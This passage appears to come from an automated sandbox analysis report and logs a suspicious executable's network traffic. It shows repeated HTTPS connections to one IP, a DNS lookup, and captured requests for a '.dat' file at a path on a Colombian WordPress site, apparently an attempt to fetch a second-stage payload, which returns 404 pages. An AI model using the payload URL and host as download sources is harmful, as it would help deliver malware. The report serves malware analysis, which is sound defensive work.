Mar 7, 2025 16:09:29.241218090 CET	443	49744	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:29.247143984 CET	49744	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:29.247163057 CET	443	49744	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:30.221015930 CET	443	49744	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:30.221050978 CET	443	49744	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:30.221174955 CET	49744	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:30.221188068 CET	443	49744	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:30.241589069 CET	443	49744	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:30.245264053 CET	49744	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:30.245285034 CET	443	49744	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:30.278834105 CET	443	49744	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:30.278927088 CET	443	49744	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:30.279001951 CET	49744	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:30.279001951 CET	49744	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:30.280055046 CET	49745	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:30.280100107 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:30.280168056 CET	49745	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:30.280414104 CET	49745	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:30.280426979 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:30.281263113 CET	49744	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:32.037915945 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:32.040079117 CET	49745	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:32.040112019 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:33.160347939 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:33.160391092 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:33.160492897 CET	49745	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:33.160507917 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:33.180243969 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:33.180357933 CET	49745	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:33.180378914 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:33.193624020 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:33.193707943 CET	443	49745	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:33.193767071 CET	49745	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:33.193811893 CET	49745	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:33.194219112 CET	49745	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:33.194847107 CET	49746	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:33.194880962 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:33.194957972 CET	49746	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:33.195261955 CET	49746	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:33.195275068 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:35.057373047 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:35.060357094 CET	49746	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:35.060375929 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:36.108078003 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:36.108141899 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:36.108231068 CET	49746	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:36.108243942 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:36.108261108 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:36.108326912 CET	49746	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:36.108334064 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:36.112725019 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:36.112821102 CET	49746	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:36.112826109 CET	443	49746	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:36.112900019 CET	49746	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:36.113253117 CET	49746	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:36.113811016 CET	49747	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:36.113856077 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:36.113925934 CET	49747	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:36.114202023 CET	49747	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:36.114214897 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:37.817317009 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:37.819406033 CET	49747	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:37.819443941 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:38.848974943 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:38.849014044 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:38.849137068 CET	49747	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:38.849163055 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:38.871542931 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:38.871634007 CET	49747	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:38.871671915 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:38.893872023 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:38.893979073 CET	443	49747	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:38.894000053 CET	49747	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:38.894062042 CET	49747	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:38.894396067 CET	49747	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:38.895216942 CET	49748	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:38.895263910 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:38.895441055 CET	49748	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:38.896300077 CET	49748	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:38.896317005 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:40.605187893 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:40.607434988 CET	49748	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:40.607459068 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:41.503148079 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:41.503177881 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:41.503346920 CET	49748	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:41.503361940 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:41.523370028 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:41.523740053 CET	49748	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:41.523751020 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:41.552890062 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:41.552951097 CET	443	49748	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:41.552993059 CET	49748	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:41.553020000 CET	49748	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:41.553555012 CET	49748	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:41.554121017 CET	49749	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:41.554166079 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:41.554234982 CET	49749	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:41.554564953 CET	49749	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:41.554583073 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:43.209737062 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:43.212074995 CET	49749	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:43.212095976 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:44.156966925 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:44.157005072 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:44.157128096 CET	49749	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:44.157154083 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:44.176455975 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:44.176606894 CET	49749	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:44.176630974 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:44.202780962 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:44.202868938 CET	443	49749	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:44.202882051 CET	49749	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:44.202914953 CET	49749	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:44.203267097 CET	49749	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:44.203869104 CET	49750	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:44.203907013 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:44.203975916 CET	49750	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:44.204298973 CET	49750	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:44.204318047 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:45.922554970 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:45.924293041 CET	49750	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:45.924324989 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:46.913386106 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:46.913418055 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:46.913563967 CET	49750	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:46.913584948 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:46.936108112 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:46.936244011 CET	49750	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:46.936263084 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:46.957952023 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:46.958019972 CET	49750	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:46.958026886 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:46.958041906 CET	443	49750	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:46.958198071 CET	49750	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:46.958198071 CET	49750	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:46.958611012 CET	49750	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:46.959265947 CET	49751	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:46.959310055 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:46.959400892 CET	49751	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:46.959691048 CET	49751	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:46.959696054 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:48.873219013 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:48.875037909 CET	49751	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:48.875067949 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:49.822446108 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:49.822484016 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:49.822586060 CET	49751	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:49.822608948 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:49.842681885 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:49.842771053 CET	49751	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:49.842791080 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:49.869360924 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:49.869421959 CET	49751	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:49.869442940 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:49.869460106 CET	443	49751	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:49.869481087 CET	49751	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:49.869513988 CET	49751	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:49.869853020 CET	49751	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:49.870635986 CET	49752	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:49.870686054 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:49.870752096 CET	49752	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:49.871046066 CET	49752	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:49.871057987 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:51.679800034 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:51.684233904 CET	49752	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:51.684272051 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:52.767680883 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:52.767713070 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:52.767903090 CET	49752	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:52.767926931 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:52.788151979 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:52.788255930 CET	49752	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:52.788273096 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:52.808392048 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:52.808489084 CET	49752	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:52.808515072 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:52.808559895 CET	443	49752	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:52.808577061 CET	49752	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:52.808623075 CET	49752	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:52.808973074 CET	49752	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:52.809626102 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:52.809675932 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:52.809746027 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:52.810017109 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:52.810034037 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:54.520376921 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:54.589910030 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:55.147217035 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:55.147245884 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.092803001 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.092838049 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.092848063 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.092870951 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.092957973 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:56.092974901 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.093009949 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:56.115250111 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.115262985 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.115369081 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:56.115405083 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.126127958 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.126204014 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:56.126210928 CET	443	49753	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.126256943 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:56.126610041 CET	49753	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:56.127285957 CET	49754	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:56.127327919 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:56.127418995 CET	49754	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:56.127748966 CET	49754	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:56.127763987 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:57.836443901 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:57.886773109 CET	49754	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:58.116795063 CET	49754	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:58.116817951 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:58.897272110 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:58.897304058 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:58.897311926 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:58.897372961 CET	49754	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:58.897392035 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:58.917593002 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:58.917650938 CET	49754	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:58.917660952 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:58.946857929 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:58.946913958 CET	49754	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:58.946922064 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:58.946938038 CET	443	49754	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:58.946995020 CET	49754	443	192.168.2.10	204.44.192.90

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 16:06:51.449697018 CET	54337	53	192.168.2.10	1.1.1.1
Mar 7, 2025 16:06:51.729916096 CET	53	54337	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 7, 2025 16:06:51.449697018 CET	192.168.2.10	1.1.1.1	0xe8ab	Standard query (0)	alcomax.com.co	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 7, 2025 16:06:51.729916096 CET	1.1.1.1	192.168.2.10	0xe8ab	No error (0)	alcomax.com.co		204.44.192.90	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

alcomax.com.co

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49681	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:06:53 UTC	83	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co Connection: Keep-Alive
2025-03-07 15:06:54 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:06:53 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:06:54 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:06:54 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:06:54 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:06:54 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49682	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:06:56 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:06:57 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:06:56 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:06:57 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:06:57 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
